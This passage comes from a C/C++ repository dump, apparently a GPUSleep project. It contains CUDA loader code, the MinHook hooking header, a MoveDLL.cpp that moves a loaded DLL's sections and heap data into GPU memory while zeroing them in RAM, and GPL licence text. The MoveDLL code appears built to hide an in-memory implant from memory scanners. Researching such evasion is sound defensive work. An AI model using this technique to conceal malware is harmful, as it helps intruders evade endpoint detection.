 53 | 	Api->CudaDestroyContext = (CUDADESTROYCONTEXT)GetProcAddress(Api->NvidiaLibary, "cuCtxDestroy");
 54 | 
 55 | 	if (!Api->CudaCreateContext || !Api->CudaGetDevice || !Api->CudaGetDeviceCount || !Api->CudaInit || !Api->CudaDestroyContext)
 56 | 		return FALSE;
 57 | 
 58 | 	if (!Api->CudaMemoryAllocate || !Api->CudaMemoryCopyToDevice || !Api->CudaMemoryCopyToHost || !Api->CudaMemoryFree)
 59 | 		return FALSE;
 60 | 
 61 | 	return TRUE;
 62 | }
 63 | 
 64 | ULONG_PTR RtlAllocateGpuMemory(PNVIDIA_API_TABLE Api, DWORD ByteSize)
 65 | {
 66 | 	ULONG_PTR GpuBufferPointer = NULL;
 67 | 
 68 | 	if (ByteSize == 0)
 69 | 		return NULL;
 70 | 
 71 | 	if (Api->CudaMemoryAllocate((ULONG_PTR)&GpuBufferPointer, ByteSize) != CUDA_SUCCESS) {
 72 | 		return NULL;
 73 | 	}
 74 | 
 75 | 	return GpuBufferPointer;
 76 | 
 77 | }
 78 | 
 79 | CUDA_CONTEXT initCuda(NVIDIA_API_TABLE* Api, CUDA_CONTEXT* ctx) {
 80 | 
 81 | 	INT DeviceCount = 0;
 82 | 	INT Device = 0;
 83 | 
 84 | 	if (!InitNvidiaCudaAPITable(Api))
 85 | 		return NULL;
 86 | 
 87 | 	if (Api->CudaInit(0) != CUDA_SUCCESS)
 88 | 		return NULL;
 89 | 
 90 | 	if (Api->CudaGetDeviceCount(&DeviceCount) != CUDA_SUCCESS || DeviceCount == 0)
 91 | 		return NULL;
 92 | 
 93 | 	if (Api->CudaGetDevice(&Device, DeviceCount - 1) != CUDA_SUCCESS)
 94 | 		return NULL;
 95 | 
 96 | 	if (Api->CudaCreateContext(ctx, 0, Device) != CUDA_SUCCESS)
 97 | 		return NULL;
 98 | 
 99 | 	return Context;
100 | }


--------------------------------------------------------------------------------
/GPUSleep/minihook.h:
--------------------------------------------------------------------------------
  1 | /*
  2 |  *  MinHook - The Minimalistic API Hooking Library for x64/x86
  3 |  *  Copyright (C) 2009-2017 Tsuda Kageyu.
  4 |  *  All rights reserved.
  5 |  *
  6 |  *  Redistribution and use in source and binary forms, with or without
  7 |  *  modification, are permitted provided that the following conditions
  8 |  *  are met:
  9 |  *
 10 |  *   1. Redistributions of source code must retain the above copyright
 11 |  *      notice, this list of conditions and the following disclaimer.
 12 |  *   2. Redistributions in binary form must reproduce the above copyright
 13 |  *      notice, this list of conditions and the following disclaimer in the
 14 |  *      documentation and/or other materials provided with the distribution.
 15 |  *
 16 |  *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 17 |  *  "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
 18 |  *  TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
 19 |  *  PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
 20 |  *  OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
 21 |  *  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
 22 |  *  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
 23 |  *  PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
 24 |  *  LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
 25 |  *  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
 26 |  *  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 27 |  */
 28 | 
 29 | #pragma once
 30 | 
 31 | #if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
 32 | #error MinHook supports only x86 and x64 systems.
 33 | #endif
 34 | 
 35 | #include <windows.h>
 36 | 
 37 |  // MinHook Error Codes.
 38 | typedef enum MH_STATUS
 39 | {
 40 | 	// Unknown error. Should not be returned.
 41 | 	MH_UNKNOWN = -1,
 42 | 
 43 | 	// Successful.
 44 | 	MH_OK = 0,
 45 | 
 46 | 	// MinHook is already initialized.
 47 | 	MH_ERROR_ALREADY_INITIALIZED,
 48 | 
 49 | 	// MinHook is not initialized yet, or already uninitialized.
 50 | 	MH_ERROR_NOT_INITIALIZED,
 51 | 
 52 | 	// The hook for the specified target function is already created.
 53 | 	MH_ERROR_ALREADY_CREATED,
 54 | 
 55 | 	// The hook for the specified target function is not created yet.
 56 | 	MH_ERROR_NOT_CREATED,
 57 | 
 58 | 	// The hook for the specified target function is already enabled.
 59 | 	MH_ERROR_ENABLED,
 60 | 
 61 | 	// The hook for the specified target function is not enabled yet, or already
 62 | 	// disabled.
 63 | 	MH_ERROR_DISABLED,
 64 | 
 65 | 	// The specified pointer is invalid. It points the address of non-allocated
 66 | 	// and/or non-executable region.
 67 | 	MH_ERROR_NOT_EXECUTABLE,
 68 | 
 69 | 	// The specified target function cannot be hooked.
 70 | 	MH_ERROR_UNSUPPORTED_FUNCTION,
 71 | 
 72 | 	// Failed to allocate memory.
 73 | 	MH_ERROR_MEMORY_ALLOC,
 74 | 
 75 | 	// Failed to change the memory protection.
 76 | 	MH_ERROR_MEMORY_PROTECT,
 77 | 
 78 | 	// The specified module is not loaded.
 79 | 	MH_ERROR_MODULE_NOT_FOUND,
 80 | 
 81 | 	// The specified function is not found.
 82 | 	MH_ERROR_FUNCTION_NOT_FOUND
 83 | }
 84 | MH_STATUS;
 85 | 
 86 | // Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
 87 | // MH_QueueEnableHook or MH_QueueDisableHook.
 88 | #define MH_ALL_HOOKS NULL
 89 | 
 90 | #ifdef __cplusplus
 91 | extern "C" {
 92 | #endif
 93 | 
 94 | 	// Initialize the MinHook library. You must call this function EXACTLY ONCE
 95 | 	// at the beginning of your program.
 96 | 	MH_STATUS WINAPI MH_Initialize(VOID);
 97 | 
 98 | 	// Uninitialize the MinHook library. You must call this function EXACTLY
 99 | 	// ONCE at the end of your program.
100 | 	MH_STATUS WINAPI MH_Uninitialize(VOID);
101 | 
102 | 	// Creates a Hook for the specified target function, in disabled state.
103 | 	// Parameters:
104 | 	//   pTarget    [in]  A pointer to the target function, which will be
105 | 	//                    overridden by the detour function.
106 | 	//   pDetour    [in]  A pointer to the detour function, which will override
107 | 	//                    the target function.
108 | 	//   ppOriginal [out] A pointer to the trampoline function, which will be
109 | 	//                    used to call the original target function.
110 | 	//                    This parameter can be NULL.
111 | 	MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal);
112 | 
113 | 	// Creates a Hook for the specified API function, in disabled state.
114 | 	// Parameters:
115 | 	//   pszModule  [in]  A pointer to the loaded module name which contains the
116 | 	//                    target function.
117 | 	//   pszTarget  [in]  A pointer to the target function name, which will be
118 | 	//                    overridden by the detour function.
119 | 	//   pDetour    [in]  A pointer to the detour function, which will override
120 | 	//                    the target function.
121 | 	//   ppOriginal [out] A pointer to the trampoline function, which will be
122 | 	//                    used to call the original target function.
123 | 	//                    This parameter can be NULL.
124 | 	MH_STATUS WINAPI MH_CreateHookApi(
125 | 		LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal);
126 | 
127 | 	// Creates a Hook for the specified API function, in disabled state.
128 | 	// Parameters:
129 | 	//   pszModule  [in]  A pointer to the loaded module name which contains the
130 | 	//                    target function.
131 | 	//   pszTarget  [in]  A pointer to the target function name, which will be
132 | 	//                    overridden by the detour function.
133 | 	//   pDetour    [in]  A pointer to the detour function, which will override
134 | 	//                    the target function.
135 | 	//   ppOriginal [out] A pointer to the trampoline function, which will be
136 | 	//                    used to call the original target function.
137 | 	//                    This parameter can be NULL.
138 | 	//   ppTarget   [out] A pointer to the target function, which will be used
139 | 	//                    with other functions.
140 | 	//                    This parameter can be NULL.
141 | 	MH_STATUS WINAPI MH_CreateHookApiEx(
142 | 		LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget);
143 | 
144 | 	// Removes an already created hook.
145 | 	// Parameters:
146 | 	//   pTarget [in] A pointer to the target function.
147 | 	MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
148 | 
149 | 	// Enables an already created hook.
150 | 	// Parameters:
151 | 	//   pTarget [in] A pointer to the target function.
152 | 	//                If this parameter is MH_ALL_HOOKS, all created hooks are
153 | 	//                enabled in one go.
154 | 	MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
155 | 
156 | 	// Disables an already created hook.
157 | 	// Parameters:
158 | 	//   pTarget [in] A pointer to the target function.
159 | 	//                If this parameter is MH_ALL_HOOKS, all created hooks are
160 | 	//                disabled in one go.
161 | 	MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
162 | 
163 | 	// Queues to enable an already created hook.
164 | 	// Parameters:
165 | 	//   pTarget [in] A pointer to the target function.
166 | 	//                If this parameter is MH_ALL_HOOKS, all created hooks are
167 | 	//                queued to be enabled.
168 | 	MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
169 | 
170 | 	// Queues to disable an already created hook.
171 | 	// Parameters:
172 | 	//   pTarget [in] A pointer to the target function.
173 | 	//                If this parameter is MH_ALL_HOOKS, all created hooks are
174 | 	//                queued to be disabled.
175 | 	MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
176 | 
177 | 	// Applies all queued changes in one go.
178 | 	MH_STATUS WINAPI MH_ApplyQueued(VOID);
179 | 
180 | 	// Translates the MH_STATUS to its name as a string.
181 | 	const char* WINAPI MH_StatusToString(MH_STATUS status);
182 | 
183 | #ifdef __cplusplus
184 | }
185 | #endif
186 | 


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--------------------------------------------------------------------------------
/GPUSleep/MoveDLL.cpp:
--------------------------------------------------------------------------------
  1 | #include "utils.h"
  2 | #include "cuda.h"
  3 | 
  4 | //         DST     ORI
  5 | std::map<LPVOID, LPVOID> heapLocationMap;
  6 | 
  7 | PIMAGE_NT_HEADERS GetNTHeaders(HMODULE imageBase)
  8 | {
  9 | 	PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)imageBase;
 10 | 	return (PIMAGE_NT_HEADERS)((SIZE_T)imageBase + dos_header->e_lfanew);
 11 | }
 12 | 
 13 | PIMAGE_OPTIONAL_HEADER GetOptionalHeader(HMODULE imageBase)
 14 | {
 15 | 	return (PIMAGE_OPTIONAL_HEADER)((LPVOID)((SIZE_T)imageBase + ((PIMAGE_DOS_HEADER)(imageBase))->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER)));
 16 | }
 17 | 
 18 | ULONG_PTR MoveDLLToGPUStrorage(HMODULE dll, PDWORD SizeOfHeaders, PNVIDIA_API_TABLE Api) {
 19 | 
 20 | 	// Get headers
 21 | 	DWORD oldProtect;
 22 | 	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)dll;
 23 | 	PIMAGE_NT_HEADERS NTheader = GetNTHeaders((HMODULE)dll);
 24 | 
 25 | 	// Allocate memory for the DLL
 26 | 	ULONG_PTR storage = RtlAllocateGpuMemory(Api, NTheader->OptionalHeader.SizeOfImage + mapSize(heapMap));
 27 | 
 28 | 	printf("RtlAllocateGpuMemory: %08x\n", storage);
 29 | 
 30 | 	// copy headers to mem location
 31 | 	*SizeOfHeaders = (DWORD)(dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders);
 32 | 	Api->CudaMemoryCopyToDevice(storage, dll, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders);
 33 | 
 34 | 	// Get first section
 35 | 	PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(NTheader);
 36 | 
 37 | 	// Copy all sections to memory
 38 | 	for (int i = 0; i < NTheader->FileHeader.NumberOfSections; i++, section++)
 39 | 	{
 40 | 		DWORD SectionSize = section->Misc.VirtualSize;
 41 | 		printf("Section: %s - VirtualAddress %08x - VirtualSize %d - Moved to %08x\n", section->Name, (SIZE_T)dll + section->VirtualAddress, SectionSize, (ULONG_PTR)((SIZE_T)storage + section->VirtualAddress));
 42 | 
 43 | 		ULONG_PTR dst = (ULONG_PTR)((SIZE_T)storage + section->VirtualAddress);
 44 | 		Api->CudaMemoryCopyToDevice(dst, (byte*)dll + section->VirtualAddress, SectionSize);
 45 | 
 46 | 		//zero out section
 47 | 		VirtualProtect((LPVOID)((SIZE_T)dll + section->VirtualAddress), SectionSize, PAGE_READWRITE, &oldProtect);
 48 | 		memset((LPVOID)((SIZE_T)dll + section->VirtualAddress), 0, SectionSize);
 49 | 		VirtualProtect((LPVOID)((SIZE_T)dll + section->VirtualAddress), SectionSize, oldProtect, &oldProtect);
 50 | 	}
 51 | 
 52 | 	ULONG_PTR dst = (ULONG_PTR)((SIZE_T)storage + NTheader->OptionalHeader.SizeOfImage);
 53 | 	for (auto it = heapMap.cbegin(); it != heapMap.cend(); ++it)
 54 | 	{
 55 | 		printf("Moved %08x to %08x\n", it->first, dst);
 56 | 
 57 | 		heapLocationMap[(LPVOID)dst] = it->first;
 58 | 
 59 | 		Api->CudaMemoryCopyToDevice((ULONG_PTR)dst, it->first, it->second);
 60 | 
 61 | 		memset(it->first, 0, it->second); // zero out
 62 | 		dst = (ULONG_PTR)((SIZE_T)dst + it->second);
 63 | 	}
 64 | 
 65 | 	//zero module headers
 66 | 	VirtualProtect((LPVOID)dll, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders, PAGE_READWRITE, &oldProtect);
 67 | 	memset((LPVOID)dll, 0, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders);
 68 | 	VirtualProtect((LPVOID)dll, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders, oldProtect, &oldProtect);
 69 | 
 70 | 	return storage;
 71 | }
 72 | 
 73 | VOID MoveDLLFromGPUStrorage(HMODULE dll, ULONG_PTR storage, DWORD SizeOfHeaders, PNVIDIA_API_TABLE Api) {
 74 | 	DWORD oldProtect;
 75 | 
 76 | 	// Set mem to zero and copy headers to mem location
 77 | 	VirtualProtect((LPVOID)dll, SizeOfHeaders, PAGE_READWRITE, &oldProtect);
 78 | 	Api->CudaMemoryCopyToHost((PVOID)dll, storage, SizeOfHeaders);
 79 | 	VirtualProtect((LPVOID)dll, SizeOfHeaders, oldProtect, &oldProtect);
 80 | 
 81 | 	// Get headers
 82 | 	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)dll;
 83 | 	PIMAGE_NT_HEADERS NTheader = GetNTHeaders((HMODULE)dll);
 84 | 
 85 | 	// Get first section
 86 | 	PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(NTheader);
 87 | 
 88 | 	// Copy all sections to memory
 89 | 	for (int i = 0; i < NTheader->FileHeader.NumberOfSections; i++, section++)
 90 | 	{
 91 | 		DWORD SectionSize = section->Misc.VirtualSize;
 92 | 		printf("Section: %s - VirtualAddress %08x - VirtualSize %d - Moved from %08x\n", section->Name, (SIZE_T)dll + section->VirtualAddress, SectionSize, (ULONG_PTR)((SIZE_T)storage + section->VirtualAddress));
 93 | 
 94 | 		LPVOID dst = (void*)((SIZE_T)dll + section->VirtualAddress);
 95 | 		VirtualProtect(dst, SectionSize, PAGE_READWRITE, &oldProtect);
 96 | 		Api->CudaMemoryCopyToHost((PVOID)dst, storage + section->VirtualAddress, SectionSize);
 97 | 		VirtualProtect(dst, SectionSize, oldProtect, &oldProtect);
 98 | 	}
 99 | 
100 | 	for (auto it = heapLocationMap.cbegin(); it != heapLocationMap.cend(); ++it)
101 | 	{
102 | 		printf("Moved %08x to %08x\n", it->first, it->second);
103 | 
104 | 		Api->CudaMemoryCopyToHost((PVOID)it->second, (ULONG_PTR)it->first, heapMap[it->second]);
105 | 	}
106 | 
107 | 	heapLocationMap.clear();
108 | 
109 | 	Api->CudaMemoryFree(storage);
110 | }
111 | 
112 | // ########## TESTING FUNCTIONS #######
113 | HMODULE MoveDLLToStrorage(HMODULE dll) {
114 | 	// Get headers
115 | 	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)dll;
116 | 	PIMAGE_NT_HEADERS NTheader = GetNTHeaders((HMODULE)dll);
117 | 
118 | 	// Allocate memory for the DLL
119 | 	HMODULE storage = (HMODULE)VirtualAlloc(0, NTheader->OptionalHeader.SizeOfImage + mapSize(heapMap), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
120 | 
121 | 	printf("VirtualAlloc: %08x\n", storage);
122 | 
123 | 	// Set mem to zero and copy headers to mem location
124 | 	memset(storage, 0, NTheader->OptionalHeader.SizeOfImage);
125 | 	memcpy(storage, dll, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders);
126 | 
127 | 	// Get headers from the new location
128 | 	dosHeader = (PIMAGE_DOS_HEADER)storage;
129 | 	NTheader = GetNTHeaders((HMODULE)storage);
130 | 
131 | 	//zero module headers
132 | 	DWORD oldProtect;
133 | 	VirtualProtect((LPVOID)dll, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders, PAGE_READWRITE, &oldProtect);
134 | 	memset((LPVOID)dll, 0, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders);
135 | 	VirtualProtect((LPVOID)dll, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders, oldProtect, &oldProtect);
136 | 
137 | 	// Get first section
138 | 	PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(NTheader);
139 | 
140 | 	// Copy all sections to memory
141 | 	for (int i = 0; i < NTheader->FileHeader.NumberOfSections; i++, section++)
142 | 	{
143 | 		DWORD SectionSize = section->Misc.VirtualSize;
144 | 		printf("Section: %s - VirtualAddress %08x - VirtualSize %d\n", section->Name, (SIZE_T)dll + section->VirtualAddress, SectionSize);
145 | 
146 | 		LPVOID dst = (void*)((SIZE_T)storage + section->VirtualAddress);
147 | 		memcpy(dst, (byte*)dll + section->VirtualAddress, SectionSize);
148 | 
149 | 		//zero out section
150 | 		VirtualProtect((LPVOID)((SIZE_T)dll + section->VirtualAddress), SectionSize, PAGE_READWRITE, &oldProtect);
151 | 		memset((LPVOID)((SIZE_T)dll + section->VirtualAddress), 0, SectionSize);
152 | 		VirtualProtect((LPVOID)((SIZE_T)dll + section->VirtualAddress), SectionSize, oldProtect, &oldProtect);
153 | 	}
154 | 
155 | 	LPVOID dst = (LPVOID)((SIZE_T)storage + NTheader->OptionalHeader.SizeOfImage);
156 | 	for (auto it = heapMap.cbegin(); it != heapMap.cend(); ++it)
157 | 	{
158 | 		printf("Moved %08x to %08x\n", it->first, dst);
159 | 
160 | 		heapLocationMap[dst] = it->first;
161 | 
162 | 		memcpy(dst, it->first, it->second);
163 | 		memset(it->first, 0, it->second); // zero out
164 | 		dst = (LPVOID)((SIZE_T)dst + it->second);
165 | 	}
166 | 
167 | 	return storage;
168 | }
169 | 
170 | VOID MoveDLLFromStrorage(HMODULE dll, HMODULE storage) {
171 | 	DWORD oldProtect;
172 | 
173 | 	// Get headers
174 | 	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)storage;
175 | 	PIMAGE_NT_HEADERS NTheader = GetNTHeaders((HMODULE)storage);
176 | 
177 | 	// Set mem to zero and copy headers to mem location
178 | 	VirtualProtect((LPVOID)dll, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders, PAGE_READWRITE, &oldProtect);
179 | 	memcpy(dll, storage, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders);
180 | 	VirtualProtect((LPVOID)dll, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders, oldProtect, &oldProtect);
181 | 
182 | 	// Get headers from the new location
183 | 	dosHeader = (PIMAGE_DOS_HEADER)dll;
184 | 	NTheader = GetNTHeaders((HMODULE)dll);
185 | 
186 | 	// Get first section
187 | 	PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(NTheader);
188 | 
189 | 	// Copy all sections to memory
190 | 	for (int i = 0; i < NTheader->FileHeader.NumberOfSections; i++, section++)
191 | 	{
192 | 		DWORD SectionSize = section->Misc.VirtualSize;
193 | 		printf("Section: %s - VirtualAddress %08x - VirtualSize %d\n", section->Name, (SIZE_T)dll + section->VirtualAddress, SectionSize);
194 | 
195 | 		LPVOID dst = (void*)((SIZE_T)dll + section->VirtualAddress);
196 | 		VirtualProtect(dst, SectionSize, PAGE_READWRITE, &oldProtect);
197 | 		memcpy(dst, (byte*)storage + section->VirtualAddress, SectionSize);
198 | 		VirtualProtect(dst, SectionSize, oldProtect, &oldProtect);
199 | 	}
200 | 
201 | 	for (auto it = heapLocationMap.cbegin(); it != heapLocationMap.cend(); ++it)
202 | 	{
203 | 		printf("Moved %08x to %08x\n", it->first, it->second);
204 | 
205 | 		memcpy(it->second, it->first, heapMap[it->second]);
206 | 	}
207 | 
208 | 	heapLocationMap.clear();
209 | 
210 | 	memset(storage, 0, NTheader->OptionalHeader.SizeOfImage + mapSize(heapMap));
211 | 	VirtualFree((LPVOID)storage, NTheader->OptionalHeader.SizeOfImage + mapSize(heapMap), MEM_FREE);
212 | }
213 | 


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
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  2 |                        Version 3, 29 June 2007
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 11 | software and other kinds of works.
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108 | work under this License, and how to view a copy of this License.  If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 | 
112 |   1. Source Code.
113 | 
114 |   The "source code" for a work means the preferred form of the work
115 | for making modifications to it.  "Object code" means any non-source
116 | form of a work.
117 | 
118 |   A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 | 
123 |   The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form.  A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 | 
134 |   The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities.  However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work.  For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 | 
147 |   The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 | 
151 |   The Corresponding Source for a work in source code form is that
152 | same work.
153 | 
154 |   2. Basic Permissions.
155 | 
156 |   All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met.  This License explicitly affirms your unlimited
159 | permission to run the unmodified Program.  The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work.  This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 | 
164 |   You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force.  You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright.  Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 | 
175 |   Conveying under any other circumstances is permitted solely under
176 | the conditions stated below.  Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 | 
179 |   3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 | 
181 |   No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 | 
187 |   When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 | 
195 |   4. Conveying Verbatim Copies.
196 | 
197 |   You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 | 
205 |   You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 | 
208 |   5. Conveying Modified Source Versions.
209 | 
210 |   You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 | 
214 |     a) The work must carry prominent notices stating that you modified
215 |     it, and giving a relevant date.
216 | 
217 |     b) The work must carry prominent notices stating that it is
218 |     released under this License and any conditions added under section
219 |     7.  This requirement modifies the requirement in section 4 to
220 |     "keep intact all notices".
221 | 
222 |     c) You must license the entire work, as a whole, under this
223 |     License to anyone who comes into possession of a copy.  This
224 |     License will therefore apply, along with any applicable section 7
225 |     additional terms, to the whole of the work, and all its parts,
226 |     regardless of how they are packaged.  This License gives no
227 |     permission to license the work in any other way, but it does not
228 |     invalidate such permission if you have separately received it.
229 | 
230 |     d) If the work has interactive user interfaces, each must display
231 |     Appropriate Legal Notices; however, if the Program has interactive
232 |     interfaces that do not display Appropriate Legal Notices, your
233 |     work need not make them do so.
234 | 
235 |   A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit.  Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 | 
245 |   6. Conveying Non-Source Forms.
246 | 
247 |   You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 | 
252 |     a) Convey the object code in, or embodied in, a physical product
253 |     (including a physical distribution medium), accompanied by the
254 |     Corresponding Source fixed on a durable physical medium
255 |     customarily used for software interchange.
256 | 
257 |     b) Convey the object code in, or embodied in, a physical product
258 |     (including a physical distribution medium), accompanied by a
259 |     written offer, valid for at least three years and valid for as
260 |     long as you offer spare parts or customer support for that product
261 |     model, to give anyone who possesses the object code either (1) a
262 |     copy of the Corresponding Source for all the software in the
263 |     product that is covered by this License, on a durable physical
264 |     medium customarily used for software interchange, for a price no
265 |     more than your reasonable cost of physically performing this
266 |     conveying of source, or (2) access to copy the
267 |     Corresponding Source from a network server at no charge.
268 | 
269 |     c) Convey individual copies of the object code with a copy of the
270 |     written offer to provide the Corresponding Source.  This
271 |     alternative is allowed only occasionally and noncommercially, and
272 |     only if you received the object code with such an offer, in accord
273 |     with subsection 6b.
274 | 
275 |     d) Convey the object code by offering access from a designated
276 |     place (gratis or for a charge), and offer equivalent access to the
277 |     Corresponding Source in the same way through the same place at no
278 |     further charge.  You need not require recipients to copy the
279 |     Corresponding Source along with the object code.  If the place to
280 |     copy the object code is a network server, the Corresponding Source
281 |     may be on a different server (operated by you or a third party)
282 |     that supports equivalent copying facilities, provided you maintain
283 |     clear directions next to the object code saying where to find the
284 |     Corresponding Source.  Regardless of what server hosts the
285 |     Corresponding Source, you remain obligated to ensure that it is
286 |     available for as long as needed to satisfy these requirements.
287 | 
288 |     e) Convey the object code using peer-to-peer transmission, provided
289 |     you inform other peers where the object code and Corresponding
290 |     Source of the work are being offered to the general public at no
291 |     charge under subsection 6d.
292 | 
293 |   A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 | 
297 |   A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling.  In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage.  For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product.  A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 | 
310 |   "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source.  The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 | 
318 |   If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information.  But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 | 
